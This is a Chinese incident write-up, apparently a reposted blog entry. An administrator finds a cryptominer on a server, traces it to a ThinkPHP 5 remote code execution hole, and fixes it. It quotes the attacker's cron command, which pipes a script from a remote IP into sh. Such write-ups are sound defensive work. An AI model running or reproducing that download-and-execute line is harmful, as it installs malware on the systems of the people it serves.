记一次挂马清除经历：处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

昨天发现 一台服务器忽然慢了 top 显示 几个进程100%以上的cpu使用

执行命令为 :

/tmp/php -s /tmp/p2.conf

基本能够肯定是被挂马了

下一步肯定来源

last 没有登录记录

先干掉这几个进程，可是几分钟以后又出现了

先看看这个木马想干什么吧

netstat 看到 这个木马开启了一个端口和国外的某个ip创建了链接

可是tcpdump了一小会儿 没有发现任何数据传递

这他是想干啥？

继续查看日志吧

在cron日志中发现了www用户 有一个crontab定时操做 基本就是这个问题了

wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1

顺着下载了几个问题，看了看 应该是个挖矿的木马程序

服务器上的www用户 是安装 lnmp 建立的，看了来源极可能就是web漏洞了。

再看/tmp下的php的权限 就是www的

查看 lnmp下几个站的日志 发现是利用 thinkphp 5最近爆出的远程代码执行漏洞

漏洞细节：https://nosec.org/home/detail...

修复一下问题解决

可是 这个站点是测试站点 端口监听的是 8083 ，难道如今黑客能开始嗅探很是规端口了？

来源：https://www.simapple.com/425....